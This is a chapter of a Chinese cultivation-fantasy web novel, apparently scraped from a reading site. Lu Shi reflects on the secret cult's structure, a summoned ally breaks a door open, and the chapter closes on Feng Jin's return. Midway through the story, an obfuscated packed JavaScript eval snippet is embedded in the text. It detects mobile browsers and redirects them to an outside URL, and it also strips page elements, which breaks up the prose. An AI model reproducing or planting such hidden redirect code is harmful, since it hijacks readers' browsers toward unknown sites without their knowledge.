用通俗易通的比喻来解释修者与修行,那么修者就是一个机器,修行则是这台机器再将天地间的灵力吸取存在身体内。 根据不同的功能可进行简短的拆分,存放灵力的灵府可以视作存储,它的灵力来源则是通过修者本身感悟天地吸纳而来。 那大脑与悟性则是cpu,不同的个体快慢也有所不同。 而每个人的灵根,就是限制灵力类型的传输协议,水灵力与火灵根则不互相兼容。 想要让这些区块系统正常的工作,那么就需要肉.身和筋脉的强度升级,否则超出承受本身最大限度的灵力则会撑爆正常工作的区块系统。 修道说白了就是将各个区块齐齐升级,然后继续吸纳灵力,直至满溢再次升级,不断重复这个过程而已。 至于道种,通俗点来说,当于一个外挂——拥有道种的人,天生对灵力的感知就会远远强于常人。 道种可以给cpu扩容,成长后,主板、数据线、存储都有收益。 拥有道种的人还有另一种代称,天才。 所以赵芸在被密教抓过来之后只有前期受了一点苦,后面在她被密教洗脑之后,就摇身一变成为了至关重要的成员,地位在密教之中极高。 这也是她年纪轻轻就能力压一众德高望重的老人坐上一把手位置的原因,只是因为她的性格。 她并不是一个合适的管理者,上任伊始至今都没有坐稳这个位置,甚至也没有给出应有的压迫树立自己的威信。 以至于孙明诚等一众胆大的才敢阳奉阴违,背地里占了本该属于她的位置,甚至是在危险来临时竟然将她推出来挡刀的原因所在。 “失败者的管理者么……” 陆时呢喃着,不经意地想起了天诛宗。 创立它时,他和封烬虽以功成名就,但初生的宗门毫无底蕴,跟一些雄踞千年的大宗门相比如同荧光与皓月。 在之后的百年中,在他的协助下,这个名不见经传的势力逐渐成长为称霸世间的庞然大物。 但最终记住他的人却寥寥无己,唯马首是瞻的人自始至终只有封烬…… 虽说这一切都是他为了确保任务的完成度而刻意为之,但仍是不可否认一个事实:同样作为一个管理者,不说失败,至少他是没有评价赵芸的资格,因为彼此都不过是半斤对八两。 不过想到自己在离开前摸到了心心念念多年的狐狸耳朵,陆时觉得这一切也不是那么太亏,毕竟那是整个天诛宗公认最柔顺的皮毛,他眼馋了多年。 在讪笑过后,他就揭开了这茬,转而想到了得到的第三点线索,有关于密教的布置。 密教的领袖,教众尊称为圣君,当前的修为在合体以上,从境界不难得出结论,他并非是近代的人。 事实也的确是这样,有关这一任的圣君最早的记载在三百多年前就已出现,听着像是极为唬人,但对于一个修者来说,尤其是寿命可达千岁的合体境修者来说,他此刻也正值壮年。 只是近些年来,随着灵力退化愈发严重,这位圣君也不再现身于人前,上一次露面可以追溯到十年前。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13980592|148105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 而目的,则是为了定下密教的目标,至于具体是什么,陆时没有查到。 那一次的会议参加的除了这位圣君,就是各个大区的主要负责人,也就是他座下的八位令使。 依照赵芸自然是有资格出席的,但对方那时还没进入密教的视野,所以对会议的具体内容一头雾水。 机密之所以称之为机密,就是不会留有多余记载。 但陆时仍是能够通过一些蛛丝马迹拼凑出这位圣君的目的,不过在意味深长地笑了一声之后,陆时就将注意力抽离回来。 不去深入的理由也很简单,与他没有直接关系。 比起密教的终极目的,反倒是他们吸纳成员的方式更加令陆时感兴趣。 和传统宗教类似,密教用的也是传教的方式吸纳教众,但传教的内容,却不是教义,而是利益。 他们会找到那些具有投资价值的人,并且给予他们投资助力他们功成名就之后,再索取汇报。 王康文就属于这一类,主要是集中于普通人类所需的基础物质,甚至他们之中的大多数人还以为资助他们的是某家投资公司。同样,也有知晓内情的修者加入,而密教给他们的报酬也很直接——当下最稀缺的修炼资源。 所以即便知道这是不义之举,但仍是有很多人为了稳固修行和冲击更高的境界选择沉溺其中。 双管齐下,不知道布局多少年,在不可见光的暗地形成了多么庞大的一张网,这就是密教至今还能长青不衰,跟太玄司的根本原因。 哐当。 就在陆时思索之际,他敏锐地察觉到了周遭的气息变了,原本空气中微薄而平静的灵力因子变得狂暴不安,这令他回过了神转头看去,不出意外地看到了赵芸如释重负的目光。 他笃定地说道:“看来,是你的手下成功了啊。” 赵芸吓了一跳:“你都知道?那你竟然不做点什么?” 不说阻止,就连探查也不做,放任不管,他就对自己实力这么自信? 这倒也不然,陆时之所以不管,概因没必要,因为他起身后直接对赵芸下达了命令:“那就走吧,现在也不迟。” “哈?” 赵芸脸上却是充满了不甘,明明拖延了这么久,逃脱的希望就在眼前,却直接前功尽弃,这谁能接受? 但她无法违逆陆时的命令,手脚不受控制地操控着朝外走去,眼看着即将要踏上离开基地的电梯,这时,世间却突然引来了转机。 密室方向传来轰隆一声巨响,她回头看去,就见到她眼里坚不可摧的一扇大门竟齐刷刷地飞了出来!而门板上偌大的拳头印昭示着它是被打飞的事实! 这意味着对方的实力强衡,密教教众的召唤大获成功! 赵芸狠狠地剐了陆时一眼,心里想道,这回你算是死定了! 陆时停下了脚步的,灰翳的眼眸直视着因为大门被踹开的动静而扬起的遮天蔽日喧嚣尘土的洞窟,神情变得凝重。 他感受到了一股极为熟悉的气息,很浅,却又真实存在,但也一时间想不起来在哪儿感受到的。 可就在他下意识放出神识探查的那一刻,脑中忽然思索出了答案—— “不好!是他!” 甚至连名字都来不及喊出来,陆时匆忙试图撤去灵识,然而已经太迟了,强大的神识穿透烟雾,一头撞上了熟悉的壮硕胸膛。 其主人原本泛着浓郁杀意的猩红双目呆滞一秒,旋即意识到了什么,瞬间激动被点燃! 惊喜地朝着神识投来的方向看的同时,灵力全开,人也一并冲了过来。 灵力全开下,穿过烟雾不过片刻,失去遮掩后的男人容貌,陆时简直再熟悉不过。 那个名字被难以置信的他脱口喊出:“封烬!?”